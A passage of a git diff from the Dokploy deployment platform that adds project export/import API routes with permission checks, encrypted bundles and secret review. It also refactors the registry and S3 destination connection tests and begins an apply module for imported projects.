assertTransferPermission, + at, + BUNDLE_EXTENSION, + buildPlan, + bundleBuildServer, + cancelExport, + cancelImport, + capture, + compareInstanceVersions, + conflictResolutionSchema, + createImportJobIfNoneActive, + deleteBundleFromDestination, + detectRequirements, + detectWarnings, + domainStrategySchema, + downloadBundleFromDestination, + EXPORTS_DIRECTORY, + estimateSizes, + exportScopeSchema, + findOrganizationDestination, + findOrganizationServerId, + fullExportScope, + getExportJob, + inspectBundle, + listBundles, + listReviewableSecrets, + prepareRoot, + proposeResolutions, + remove, + requireExportJob, + requireIdleImportJob, + requireImportJob, + requireOwnImportJob, + resolutionSchema, + runExport, + runExportBatch, + runImport, + safeErrorMessage, + TransferCryptoError, + targetSchema, + transferRoot, + UnsupportedBundleVersionError, + unlockBundle, + updateImportJob, + validatePlan, + verifyBundlePassphrase, +} from "@dokploy/server/services/project-export-import"; +import { TRPCError } from "@trpc/server"; +import { z } from "zod"; +import { PLAN_LIMITS } from "@/server/api/utils/plan-limits"; +import type { DeploymentJob } from "@/server/queues/queue-types"; +import { myQueue } from "@/server/queues/queueSetup"; +import { getCurrentPlan } from "@/server/utils/billing"; +import { deploy } from "@/server/utils/deploy"; +import packageInfo from "../../../package.json"; +import { createTRPCRouter, protectedProcedure } from "../trpc"; +import { audit } from "../utils/audit"; + +const localInstance = (): InstanceVersions => ({ + dokployVersion: packageInfo.version, + releaseTag: getDokployImageTag(), + isCloud: IS_CLOUD, + traefikVersion: TRAEFIK_VERSION, + nodeVersion: process.version, +}); + +const localInstanceContext = () => { + const { dokployVersion, ...instance } = localInstance(); + return { dokployVersion, instance }; +}; + +const enqueueImportDeploys = async ( + candidates: DeployCandidate[], +): Promise => { + for (const candidate of candidates) { + const jobData: DeploymentJob = + candidate.serviceType === "application" + ? { + applicationId: candidate.serviceId, + titleLog: "Imported from bundle", + descriptionLog: "", + type: "deploy", + applicationType: "application", + server: !!candidate.serverId, + serverId: candidate.serverId ?? undefined, + } + : { + composeId: candidate.serviceId, + titleLog: "Imported from bundle", + descriptionLog: "", + type: "deploy", + applicationType: "compose", + server: !!candidate.serverId, + serverId: candidate.serverId ?? undefined, + }; + + if (IS_CLOUD && candidate.serverId) { + deploy(jobData).catch((error) => { + console.error("Background import deployment failed:", error); + }); + } else { + await myQueue.add( + "deployments", + { ...jobData }, + { removeOnComplete: true, removeOnFail: true }, + ); + } + } +}; + +export const projectExportImportRouter = createTRPCRouter({ + exportPreview: protectedProcedure + .input( + z.object({ + projectId: z.string(), + environmentIds: z.array(z.string()).optional(), + serviceIds: z.array(z.string()).optional(), + files: exportScopeSchema.shape.files.optional(), + dumps: exportScopeSchema.shape.dumps.optional(), + }), + ) + .query(async ({ ctx, input }) => { + await assertTransferPermission(ctx, input.projectId, "export"); + const scope = exportScopeSchema.parse(input); + const result = await capture( + db, + { kind: "project", id: input.projectId }, + scope, + { + detectRequirements: (tree, scope) => + detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + const sizes = await estimateSizes(result.tree, scope); + return { + inventory: { ...result.inventory, ...sizes }, + requirements: result.requirements, + warnings: result.warnings, + }; + }), + + exportStart: protectedProcedure + .input( + z.object({ + projectId: z.string(), + scope: exportScopeSchema, + passphrase: z.string().min(12), + deliver: z + .union([ + z.object({ kind: z.literal("download") }), + z.object({ + kind: z.literal("destination"), + destinationId: z.string(), + }), + ]) + .optional(), + }), + ) + .mutation(async ({ ctx, input }) => { + await assertTransferPermission(ctx, input.projectId, "export"); + assertNoActiveTransfer(ctx.user.id); + + if (IS_CLOUD && (!input.deliver || input.deliver.kind === "download")) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: + "Downloading a bundle directly is not available on Dokploy Cloud; choose a destination to deliver it to instead.", + }); + } + if (input.deliver?.kind === "destination") { + await findOrganizationDestination( + input.deliver.destinationId, + ctx.session.activeOrganizationId, + ); + } + + const { exportId } = runExport( + { + source: { kind: "project", id: input.projectId }, + scope: input.scope, + passphrase: input.passphrase, + deliver: input.deliver, + buildServerId: await bundleBuildServer( + db, + input.projectId, + input.scope, + ), + }, + { + db, + userId: ctx.user.id, + userEmail: ctx.user.email, + organizationId: ctx.session.activeOrganizationId, + ...localInstanceContext(), + }, + ); + await audit(ctx, { + action: "export", + resourceType: "project", + resourceId: input.projectId, + }); + return { exportId }; + }), + + listRemoteBundles: protectedProcedure + .input(z.object({ destinationId: z.string() })) + .query(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "import"); + const destination = await findOrganizationDestination( + input.destinationId, + ctx.session.activeOrganizationId, + ); + try { + return await listBundles(destination); + } catch (error) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: `Failed to list bundles: ${safeErrorMessage(error)}`, + }); + } + }), + + verifyBundlePassphrase: protectedProcedure + .input( + z.object({ + destinationId: z.string(), + key: z.string(), + passphrase: z.string().min(12), + }), + ) + .mutation(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "import"); + const destination = await findOrganizationDestination( + input.destinationId, + ctx.session.activeOrganizationId, + ); + try { + return await verifyBundlePassphrase( + destination, + input.key, + input.passphrase, + ); + } catch (error) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: `Failed to read the bundle: ${safeErrorMessage(error)}`, + }); + } + }), + + exportOrganizationStart: protectedProcedure + .input( + z.object({ + destinationId: z.string(), + passphrase: z.string().min(12), + projectIds: z.array(z.string()).min(1).max(200), + }), + ) + .mutation(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "export"); + assertNoActiveTransfer(ctx.user.id); + await findOrganizationDestination( + input.destinationId, + ctx.session.activeOrganizationId, + ); + const projectIds = [...new Set(input.projectIds)]; + const projects = await db.query.projects.findMany({ + where: (fields, { eq, and, inArray }) => + and( + eq(fields.organizationId, ctx.session.activeOrganizationId), + inArray(fields.projectId, projectIds), + ), + columns: { projectId: true, name: true }, + }); + if (projects.length !== projectIds.length) { + throw new TRPCError({ + code: "NOT_FOUND", + message: "Project not found", + }); + } + const scope = fullExportScope(); + const planned = await Promise.all( + projects.map(async (project) => { + try { + const buildServerId = await bundleBuildServer( + db, + project.projectId, + scope, + ); + return { project, buildServerId, skipped: undefined }; + } catch (error) { + if (error instanceof TRPCError && error.code === "BAD_REQUEST") { + return { project, buildServerId: null, skipped: error.message }; + } + throw error; + } + }), + ); + const exportable = planned.filter((entry) => !entry.skipped); + if (exportable.length === 0) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "None of the selected projects can be exported", + }); + } + const { exportIds } = runExportBatch( + exportable.map(({ project, buildServerId }) => ({ + source: { kind: "project" as const, id: project.projectId }, + scope, + passphrase: input.passphrase, + deliver: { + kind: "destination" as const, + destinationId: input.destinationId, + }, + buildServerId, + })), + { + db, + userId: ctx.user.id, + userEmail: ctx.user.email, + organizationId: ctx.session.activeOrganizationId, + ...localInstanceContext(), + }, + ); + await audit(ctx, { + action: "export", + resourceType: "organization", + resourceId: ctx.session.activeOrganizationId, + }); + return { + exports: exportable.map(({ project }, index) => ({ + projectId: project.projectId, + name: project.name, + exportId: exportIds[index] as string, + })), + skipped: planned.flatMap(({ project, skipped }) => + skipped + ? [ + { + projectId: project.projectId, + name: project.name, + reason: skipped, + }, + ] + : [], + ), + }; + }), + + exportBatchStatus: protectedProcedure + .input(z.object({ exportIds: z.array(z.string()).max(200) })) + .query(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "export"); + return input.exportIds.map((exportId) => { + const job = getExportJob(exportId); + return job && job.organizationId === ctx.session.activeOrganizationId + ? { + exportId, + status: job.status, + message: job.message, + error: job.error, + deliveredKey: job.deliveredKey, + size: job.size, + } + : { exportId, status: "error" as const, error: "Export not found" }; + }); + }), + + deleteRemoteBundle: protectedProcedure + .input(z.object({ destinationId: z.string(), key: z.string() })) + .mutation(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "export"); + if ( + !input.key.startsWith(`${EXPORTS_DIRECTORY}/`) || + !input.key.endsWith(BUNDLE_EXTENSION) || + input.key.includes("..") + ) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Only export bundles can be deleted from here", + }); + } + const destination = await findOrganizationDestination( + input.destinationId, + ctx.session.activeOrganizationId, + ); + try { + await deleteBundleFromDestination(destination, input.key); + } catch (error) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: `Failed to delete bundle: ${safeErrorMessage(error)}`, + }); + } + await audit(ctx, { + action: "delete", + resourceType: "destination", + resourceId: input.destinationId, + }); + return { deleted: true }; + }), + + importFromDestination: protectedProcedure + .input( + z.object({ + destinationId: z.string(), + key: z.string(), + serverId: z.string().optional(), + }), + ) + .mutation(async ({ ctx, input }) => { + await assertTransferPermission(ctx, undefined, "import"); + assertNoActiveTransfer(ctx.user.id); + const serverId = await findOrganizationServerId( + input.serverId, + ctx.session.activeOrganizationId, + ); + const destination = await findOrganizationDestination( + input.destinationId, + ctx.session.activeOrganizationId, + ); + + const importId = randomUUID(); + const root = transferRoot(importId, serverId); + const bundle = at(root, "bundle.dokploy.tar.gz"); + try { + await prepareRoot(root); + await downloadBundleFromDestination(destination, input.key, bundle); + } catch (error) { + await remove(root).catch(() => {}); + throw new TRPCError({ + code: "BAD_REQUEST", + message: `Failed to download bundle: ${safeErrorMessage(error)}`, + }); + } + + try { + createImportJobIfNoneActive( + importId, + ctx.user.id, + ctx.session.activeOrganizationId, + ); + } catch (error) { + await remove(root).catch(() => {}); + throw error; + } + updateImportJob(importId, { root, bundle, status: "uploaded" }); + + return { importId, serverId }; + }), + + exportStatus: protectedProcedure + .input(z.object({ exportId: z.string() })) + .query(async ({ ctx, input }) => { + const job = requireExportJob( + input.exportId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission(ctx, undefined, "export"); + const { + workspace: _workspace, + bundle: _bundle, + userId: _userId, + ...publicJob + } = job; + return publicJob; + }), + + exportCancel: protectedProcedure + .input(z.object({ exportId: z.string() })) + .mutation(async ({ ctx, input }) => { + requireExportJob(input.exportId, ctx.session.activeOrganizationId); + await assertTransferPermission(ctx, undefined, "export"); + await cancelExport(input.exportId); + return { success: true }; + }), + + importInspect: protectedProcedure + .input(z.object({ importId: z.string() })) + .mutation(async ({ ctx, input }) => { + const job = requireImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission(ctx, undefined, "import"); + if (!job.bundle || !job.root) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Import has no uploaded bundle", + }); + } + + const workDir = at(job.root, "extracted"); + let inspected: Awaited>; + try { + inspected = await inspectBundle(job.bundle, workDir); + } catch (error) { + if (error instanceof UnsupportedBundleVersionError) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: error.message, + }); + } + throw error; + } + updateImportJob(input.importId, { status: "inspected", workDir }); + + const { crypto: _crypto, ...publicManifest } = inspected.manifest; + const destination = localInstance(); + return { + manifest: publicManifest, + inventory: inspected.inventory, + requirements: inspected.requirements, + warnings: inspected.warnings, + versions: { source: publicManifest.sourceInstance, destination }, + versionWarnings: compareInstanceVersions( + publicManifest.sourceInstance, + destination, + ), + }; + }), + + importUnlock: protectedProcedure + .input(z.object({ importId: z.string(), passphrase: z.string().min(12) })) + .mutation(async ({ ctx, input }) => { + const job = requireImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission(ctx, undefined, "import"); + if (!job.workDir) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importInspect before importUnlock", + }); + } + + let unlocked: Awaited>; + try { + unlocked = await unlockBundle(job.workDir, input.passphrase); + } catch (error) { + if (error instanceof TransferCryptoError) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Incorrect passphrase", + }); + } + throw error; + } + + updateImportJob(input.importId, { + status: "unlocked", + snapshot: unlocked.snapshot, + secretsPlain: unlocked.secretsPlain, + }); + + const resolutions = await proposeResolutions( + db, + unlocked.snapshot, + ctx.session.activeOrganizationId, + ); + + return { resolutions }; + }), + + importSecrets: protectedProcedure + .input(z.object({ importId: z.string() })) + .query(async ({ ctx, input }) => { + const job = requireImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission(ctx, undefined, "import"); + if (!job.snapshot) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importUnlock before importSecrets", + }); + } + return listReviewableSecrets(job.snapshot); + }), + + importSecretReveal: protectedProcedure + .input(z.object({ importId: z.string(), secretId: z.string() })) + .mutation(async ({ ctx, input }) => { + const job = requireOwnImportJob( + input.importId, + ctx.session.activeOrganizationId, + ctx.user.id, + ); + await assertTransferPermission(ctx, undefined, "import"); + if (!job.snapshot || !job.secretsPlain) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importUnlock before revealing secrets", + }); + } + const reviewable = listReviewableSecrets(job.snapshot).some( + (entry) => entry.secretId === input.secretId, + ); + if (!reviewable) { + throw new TRPCError({ code: "NOT_FOUND", message: "Secret not found" }); + } + return { value: job.secretsPlain.get(input.secretId) ?? "" }; + }), + + importSecretsOverride: protectedProcedure + .input( + z.object({ + importId: z.string(), + overrides: z.record(z.string(), z.string()), + }), + ) + .mutation(async ({ ctx, input }) => { + const job = requireOwnImportJob( + input.importId, + ctx.session.activeOrganizationId, + ctx.user.id, + ); + await assertTransferPermission(ctx, undefined, "import"); + if (!job.snapshot || !job.secretsPlain) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importUnlock before overriding secrets", + }); + } + const reviewable = listReviewableSecrets(job.snapshot).map( + (entry) => entry.secretId, + ); + for (const secretId of Object.keys(input.overrides)) { + if (!reviewable.includes(secretId)) { + throw new TRPCError({ + code: "NOT_FOUND", + message: "Secret not found", + }); + } + } + const originals = job.secretsOriginal ?? new Map(job.secretsPlain); + for (const secretId of reviewable) { + job.secretsPlain.set( + secretId, + input.overrides[secretId] ?? originals.get(secretId) ?? "", + ); + } + updateImportJob(input.importId, { secretsOriginal: originals }); + return { overridden: Object.keys(input.overrides).length }; + }), + + importPlan: protectedProcedure + .input( + z.object({ + importId: z.string(), + target: targetSchema, + choices: z.object({ + resolutions: z.record(z.string(), resolutionSchema).optional(), + keepAppNames: z.boolean().optional(), + domainStrategy: domainStrategySchema.optional(), + portsStrategy: z.enum(["keep", "disable"]).optional(), + rotateDatabaseCredentials: z.boolean().optional(), + conflictResolutions: z + .record(z.string(), conflictResolutionSchema) + .optional(), + deployAfterImport: z.boolean().optional(), + }), + }), + ) + .mutation(async ({ ctx, input }) => { + const job = requireIdleImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + const targetProjectId = + input.target.kind === "existingProject" + ? input.target.projectId + : undefined; + await assertTransferPermission(ctx, targetProjectId, "import"); + if (!job.snapshot) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importUnlock before importPlan", + }); + } + + const environmentsToCreate = job.snapshot.resources.environments.length; + const existingEnvironments = targetProjectId + ? ( + await db.query.environments.findMany({ + where: (fields, { eq }) => eq(fields.projectId, targetProjectId), + columns: { environmentId: true }, + }) + ).length + : 0; + const billingPlan = await getCurrentPlan( + ctx.session.activeOrganizationId, + ); + const limit = PLAN_LIMITS[billingPlan ?? "legacy"].environment; + if (existingEnvironments + environmentsToCreate > limit) { + throw new TRPCError({ + code: "FORBIDDEN", + message: targetProjectId + ? `This project has ${existingEnvironments} environment(s) and the bundle needs ${environmentsToCreate} more, which exceeds your plan's limit of ${limit}. Upgrade your plan to import it.` + : `This bundle needs ${environmentsToCreate} environments, which exceeds your plan's limit of ${limit}. Upgrade your plan to import it.`, + }); + } + + const plan = await buildPlan( + db, + job.snapshot, + ctx.session.activeOrganizationId, + input.target, + input.choices, + ); + plan.warnings.push( + ...compareInstanceVersions( + job.snapshot.manifest.sourceInstance, + localInstance(), + ), + ); + updateImportJob(input.importId, { status: "planned", plan }); + + return { + summary: plan.summary, + pendingServices: plan.pendingServices, + warnings: plan.warnings, + conflicts: plan.conflicts, + conflictResolutions: plan.conflictResolutions ?? {}, + }; + }), + + importValidate: protectedProcedure + .input(z.object({ importId: z.string() })) + .mutation(async ({ ctx, input }) => { + const job = requireIdleImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission( + ctx, + job.plan?.target.kind === "existingProject" + ? job.plan.target.projectId + : undefined, + "import", + ); + if (!job.plan || !job.snapshot) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importPlan before importValidate", + }); + } + const checks = await validatePlan( + db, + job.snapshot, + job.plan, + ctx.session.activeOrganizationId, + ); + updateImportJob(input.importId, { + plan: { ...job.plan, validation: checks }, + }); + return { checks }; + }), + + importStart: protectedProcedure + .input(z.object({ importId: z.string() })) + .mutation(async ({ ctx, input }) => { + const job = requireIdleImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission( + ctx, + job.plan?.target.kind === "existingProject" + ? job.plan.target.projectId + : undefined, + "import", + ); + assertNoActiveTransfer(ctx.user.id, { + excludeImportId: input.importId, + }); + if (!job.plan || !job.snapshot) { + throw new TRPCError({ + code: "BAD_REQUEST", + message: "Call importPlan before importStart", + }); + } + + if (job.status !== "planned") { + throw new TRPCError({ + code: "CONFLICT", + message: "This import has already been started", + }); + } + + assertPlanChecksPass( + await validatePlan( + db, + job.snapshot, + job.plan, + ctx.session.activeOrganizationId, + ), + ); + + updateImportJob(input.importId, { status: "applying" }); + runImport(input.importId, { + db, + organizationId: ctx.session.activeOrganizationId, + enqueueDeploy: enqueueImportDeploys, + }); + + await audit(ctx, { + action: "import", + resourceType: "project", + resourceId: input.importId, + }); + + return { success: true }; + }), + + importStatus: protectedProcedure + .input(z.object({ importId: z.string() })) + .query(async ({ ctx, input }) => { + const job = requireImportJob( + input.importId, + ctx.session.activeOrganizationId, + ); + await assertTransferPermission(ctx, undefined, "import"); + const { + secretsPlain: _secretsPlain, + secretsOriginal: _secretsOriginal, + snapshot: _snapshot, + ...publicJob + } = job; + return publicJob; + }), + + importCancel: protectedProcedure + .input(z.object({ importId: z.string() })) + .mutation(async ({ ctx, input }) => { + requireImportJob(input.importId, ctx.session.activeOrganizationId); + await assertTransferPermission(ctx, undefined, "import"); + await cancelImport(input.importId); + return { success: true }; + }), +}); diff --git a/apps/dokploy/server/api/routers/project.ts b/apps/dokploy/server/api/routers/project.ts index 7085b3bef..edea482a4 100644 --- a/apps/dokploy/server/api/routers/project.ts +++ b/apps/dokploy/server/api/routers/project.ts @@ -345,31 +345,42 @@ export const projectRouter = createTRPCRouter({ applicationId: true, name: true, applicationStatus: true, + sourceType: true, }, }, mariadb: { columns: { mariadbId: true, + name: true, + applicationStatus: true, }, }, mongo: { columns: { mongoId: true, + name: true, + applicationStatus: true, }, }, mysql: { columns: { mysqlId: true, + name: true, + applicationStatus: true, }, }, postgres: { columns: { postgresId: true, + name: true, + applicationStatus: true, }, }, redis: { columns: { redisId: true, + name: true, + applicationStatus: true, }, }, compose: { @@ -382,6 +393,8 @@ export const projectRouter = createTRPCRouter({ libsql: { columns: { libsqlId: true, + name: true, + applicationStatus: true, }, }, }, diff --git a/apps/dokploy/server/api/routers/registry.ts b/apps/dokploy/server/api/routers/registry.ts index c93da5a22..ccbeda224 100644 --- a/apps/dokploy/server/api/routers/registry.ts +++ b/apps/dokploy/server/api/routers/registry.ts @@ -1,11 +1,8 @@ import { createRegistry, - execAsyncRemote, - execFileAsync, findRegistryById, - IS_CLOUD, removeRegistry, - safeDockerLoginCommand, + testRegistryConnection, updateRegistry, } from "@dokploy/server"; import { db } from "@dokploy/server/db"; @@ -105,36 +102,7 @@ export const registryRouter = createTRPCRouter({ .input(apiTestRegistry) .mutation(async ({ input }) => { try { - const args = [ - "login", - input.registryUrl, - "--username", - input.username, - "--password-stdin", - ]; - - if (IS_CLOUD && !input.serverId) { - throw new TRPCError({ - code: "NOT_FOUND", - message: "Select a server to test the registry", - }); - } - - if (input.serverId && input.serverId !== "none") { - await execAsyncRemote( - input.serverId, - safeDockerLoginCommand( - input.registryUrl, - input.username, - input.password, - ), - ); - } else { - await execFileAsync("docker", args, { - input: Buffer.from(input.password).toString(), - }); - } - + await testRegistryConnection(input); return true; } catch (error) { throw new TRPCError({ @@ -169,35 +137,12 @@ export const registryRouter = createTRPCRouter({ }); } - const args = [ - "login", - registryData.registryUrl, - "--username", - registryData.username, - "--password-stdin", - ]; - - if (IS_CLOUD && !input.serverId) { - throw new TRPCError({ - code: "NOT_FOUND", - message: "Select a server to test the registry", - }); - } - - if (input.serverId && input.serverId !== "none") { - await execAsyncRemote( - input.serverId, - safeDockerLoginCommand( - registryData.registryUrl, - registryData.username, - registryData.password, - ), - ); - } else { - await execFileAsync("docker", args, { - input: Buffer.from(registryData.password).toString(), - }); - } + await testRegistryConnection({ + registryUrl: registryData.registryUrl, + username: registryData.username, + password: registryData.password, + serverId: input.serverId, + }); return true; } catch (error) { diff --git a/apps/dokploy/server/server.ts b/apps/dokploy/server/server.ts index 5fe048c92..23fb8e95f 100644 --- a/apps/dokploy/server/server.ts +++ b/apps/dokploy/server/server.ts @@ -8,6 +8,7 @@ import { initCronJobs, initEnterpriseBackupCronJobs, initializeNetwork, + initProjectExportImportCleanup, initSchedules, initVolumeBackupsCronJobs, sendDokployRestartNotifications, @@ -68,6 +69,7 @@ void app.prepare().then(async () => { await sendDokployRestartNotifications(); } await initEnterpriseBackupCronJobs(); + initProjectExportImportCleanup(); if (!IS_CLOUD) { console.log("Starting Deployment Worker"); diff --git a/packages/server/src/constants/index.ts b/packages/server/src/constants/index.ts index ea084e2f4..f8f884b3b 100644 --- a/packages/server/src/constants/index.ts +++ b/packages/server/src/constants/index.ts @@ -139,5 +139,6 @@ export const paths = (isServer = false) => { VOLUME_BACKUPS_PATH: `${BASE_PATH}/volume-backups`, VOLUME_BACKUP_LOCK_PATH: `${BASE_PATH}/volume-backup-lock`, PATCH_REPOS_PATH: `${BASE_PATH}/patch-repos`, + PROJECT_EXPORT_IMPORT_PATH: `${BASE_PATH}/project-export-import`, }; }; diff --git a/packages/server/src/db/schema/audit-log.ts b/packages/server/src/db/schema/audit-log.ts index c42839b00..35f0c1ad2 100644 --- a/packages/server/src/db/schema/audit-log.ts +++ b/packages/server/src/db/schema/audit-log.ts @@ -59,7 +59,9 @@ export type AuditAction = | "stop" | "reload" | "rebuild" - | "move"; + | "move" + | "export" + | "import"; export type AuditResourceType = | "project" diff --git a/packages/server/src/index.ts b/packages/server/src/index.ts index 3e3678f3b..b29e11242 100644 --- a/packages/server/src/index.ts +++ b/packages/server/src/index.ts @@ -47,6 +47,7 @@ export * from "./services/port"; export * from "./services/postgres"; export * from "./services/preview-deployment"; export * from "./services/project"; +export * from "./services/project-export-import"; export * from "./services/proprietary/forward-auth"; export * from "./services/proprietary/license-key"; export * from "./services/proprietary/sso"; diff --git a/packages/server/src/services/certificate.ts b/packages/server/src/services/certificate.ts index 1c6137506..f7144b378 100644 --- a/packages/server/src/services/certificate.ts +++ b/packages/server/src/services/certificate.ts @@ -84,7 +84,7 @@ export const removeCertificateById = async (certificateId: string) => { return result; }; -const createCertificateFiles = async (certificate: Certificate) => { +export const createCertificateFiles = async (certificate: Certificate) => { const { CERTIFICATES_PATH } = paths(!!certificate.serverId); const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath); const crtPath = path.join(certDir, "chain.crt"); diff --git a/packages/server/src/services/destination.ts b/packages/server/src/services/destination.ts index 9cbc9afa3..cc6984afd 100644 --- a/packages/server/src/services/destination.ts +++ b/packages/server/src/services/destination.ts @@ -3,12 +3,60 @@ import { type apiCreateDestination, destinations, } from "@dokploy/server/db/schema"; +import { + execAsync, + execAsyncRemote, +} from "@dokploy/server/utils/process/execAsync"; import { TRPCError } from "@trpc/server"; import { and, eq } from "drizzle-orm"; +import { quote } from "shell-quote"; import type { z } from "zod"; +import { IS_CLOUD } from "../constants"; export type Destination = typeof destinations.$inferSelect; +export const testDestinationConnection = async (input: { + accessKey: string; + secretAccessKey: string; + bucket: string; + region: string; + endpoint: string; + provider?: string | null; + additionalFlags?: string[] | null; + serverId?: string | null; +}): Promise => { + const rcloneFlags = [ + `--s3-access-key-id=${quote([input.accessKey])}`, + `--s3-secret-access-key=${quote([input.secretAccessKey])}`, + `--s3-region=${quote([input.region])}`, + `--s3-endpoint=${quote([input.endpoint])}`, + "--s3-no-check-bucket", + "--s3-force-path-style", + "--retries 1", + "--low-level-retries 1", + "--timeout 10s", + "--contimeout 5s", + ]; + if (input.provider) { + rcloneFlags.unshift(`--s3-provider=${quote([input.provider])}`); + } + if (input.additionalFlags?.length) { + rcloneFlags.push(...input.additionalFlags); + } + const rcloneDestination = `:s3:${input.bucket}`; + const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`; + + if (IS_CLOUD) { + if (!input.serverId) { + throw new TRPCError({ code: "NOT_FOUND", message: "Server not found" }); + } + await execAsyncRemote(input.serverId, rcloneCommand); + return; + } + + await execAsync(rcloneCommand); +}; + export const createDestination = async ( input: z.infer, organizationId: string, diff --git a/packages/server/src/services/project-export-import/apply.ts b/packages/server/src/services/project-export-import/apply.ts new file mode 100644 index 000000000..ea9492923 --- /dev/null +++ b/packages/server/src/services/project-export-import/apply.ts @@ -0,0 +1,305 @@ +import { + environments, + projects, + projectTags, + tags, +} from "@dokploy/server/db/schema"; +import { eq } from "drizzle-orm"; +import type { ApplyServicesContext, DbServiceKind } from "./apply/services"; +import { + DB_SERVICE_KINDS, + insertApplication, + insertCompose, + insertDbService, +} from "./apply/services"; +import { applyVaultAssignments, insertSharedByValue } from "./apply/shared"; +import { conflictResolutionsOf, resolvedProjectName } from "./conflicts"; +import type { TransferTx, TransferWriteDb } from "./queries"; +import { + buildServerIpMap, + buildServiceBuildServerMap, + buildServiceServerMap, +} from "./resolve"; +import { applyRotation } from "./rotate"; +import { restoreSecretFields } from "./secret-fields"; +import type { + Plan, + ServiceType, + Snapshot, + TransferResult, + Warning, +} from "./types"; +import { transferResultSchema } from "./types"; + +const insertProjectAndEnvironments = async ( + tx: TransferTx, + snapshot: Snapshot, + plan: Plan, + organizationId: string, + secretsPlain: Map, +): Promise<{ projectId: string; environmentIdMap: Record }> => { + let projectId: string; + if (plan.target.kind === "newProject") { + const { tags: projectTagRows, ...restoredProject } = restoreSecretFields( + "project", + snapshot.resources.project, + secretsPlain, + ); + const [inserted] = await tx + .insert(projects) + .values({ + ...restoredProject, + projectId: undefined, + name: resolvedProjectName(plan.target, conflictResolutionsOf(plan)), + description: plan.target.description ?? null, + organizationId, + } as unknown as typeof projects.$inferInsert) + .returning(); + if (!inserted) { + throw new Error("Failed to insert project"); + } + projectId = inserted.projectId; + await applyProjectTags( + tx, + projectId, + organizationId, + (projectTagRows as { name: string; color: string | null }[]) ?? [], + ); + } else { + const targetProjectId = plan.target.projectId; + const project = await tx.query.projects.findFirst({ + where: (fields, { eq }) => eq(fields.projectId, targetProjectId), + columns: { organizationId: true }, + }); + if (!project || project.organizationId !== organizationId) { + throw new Error( + `Cannot import into project "${targetProjectId}": not found in this organization`, + ); + } + projectId = targetProjectId; + } + + const environmentIdMap: Record = {}; + if (plan.target.kind === "newProject") { + let firstInsertedId: string | undefined; + let sawDefault = false; + for (const env of snapshot.resources.environments) { + const restored = restoreSecretFields("environment", env, secretsPlain); + const [inserted] = await tx + .insert(environments) + .values({ + ...restored, + environmentId: undefined, + projectId, + isDefault: Boolean(env.isDefault), + } as unknown as typeof environments.$inferInsert) + .returning(); + if (inserted) { + environmentIdMap[env.environmentId as string] = inserted.environmentId; + firstInsertedId ??= inserted.environmentId; + sawDefault ||= inserted.isDefault; + } + } + if (!sawDefault && firstInsertedId) { + await tx + .update(environments) + .set({ isDefault: true }) + .where(eq(environments.environmentId, firstInsertedId)); + } + } else { + const baseName = plan.target.environmentName; + let index = 0; + for (const env of snapshot.resources.environments) { + const restored = restoreSecretFields("environment", env, secretsPlain); + const name = + index === 0 + ? baseName + : `${baseName}-${(env.name as string | undefined) ?? `env-${index + 1}`}`; + const [inserted] = await tx + .insert(environments) + .values({ + ...restored, + environmentId: undefined, + name, + projectId, + isDefault: false, + } as unknown as typeof environments.$inferInsert) + .returning(); + if (inserted) { + environmentIdMap[env.environmentId as string] = inserted.environmentId; + } + index += 1; + } + } + + return { projectId, environmentIdMap }; +}; + +const applyProjectTags = async ( + tx: TransferTx, + projectId: string, + organizationId: string, + tagRows: { name: string; color: string | null }[], +): Promise => { + for (const { name, color } of tagRows) { + const existing = await tx.query.tags.findFirst({ + where: (fields, { and, eq }) => + and(eq(fields.organizationId, organizationId), eq(fields.name, name)), + }); + let tagId = existing?.tagId; + if (!tagId) { + const [inserted] = await tx + .insert(tags) + .values({ name, color, organizationId }) + .returning(); + tagId = inserted?.tagId; + } + if (!tagId) continue; + await tx.insert(projectTags).values({ projectId, tagId }); + } +}; + +export const apply = async ( + db: TransferWriteDb, + snapshot: Snapshot, + plan: Plan, + secretsPlain: Map, + organizationId: string, +): Promise => { + const serverIpMap = await buildServerIpMap( + db, + plan.serverMap, + organizationId, + ); + const serviceServerMap = buildServiceServerMap(snapshot); + const serviceBuildServerMap = buildServiceBuildServerMap(snapshot); + return db.transaction(async (tx) => { + const { idMaps, vaultNameMap } = await insertSharedByValue( + tx, + snapshot, + plan, + secretsPlain, + organizationId, + ); + + const { projectId, environmentIdMap } = await insertProjectAndEnvironments( + tx, + snapshot, + plan, + organizationId, + secretsPlain, + ); + + const conflictResolutions = conflictResolutionsOf(plan); + + const serviceIdMap: Record> = { + application: {}, + compose: {}, + postgres: {}, + mysql: {}, + mariadb: {}, + mongo: {}, + redis: {}, + libsql: {}, + }; + + const ctx: ApplyServicesContext = { + tx, + snapshot, + plan, + idMaps, + secretsPlain, + vaultNameMap, + conflictResolutions, + organizationId, + 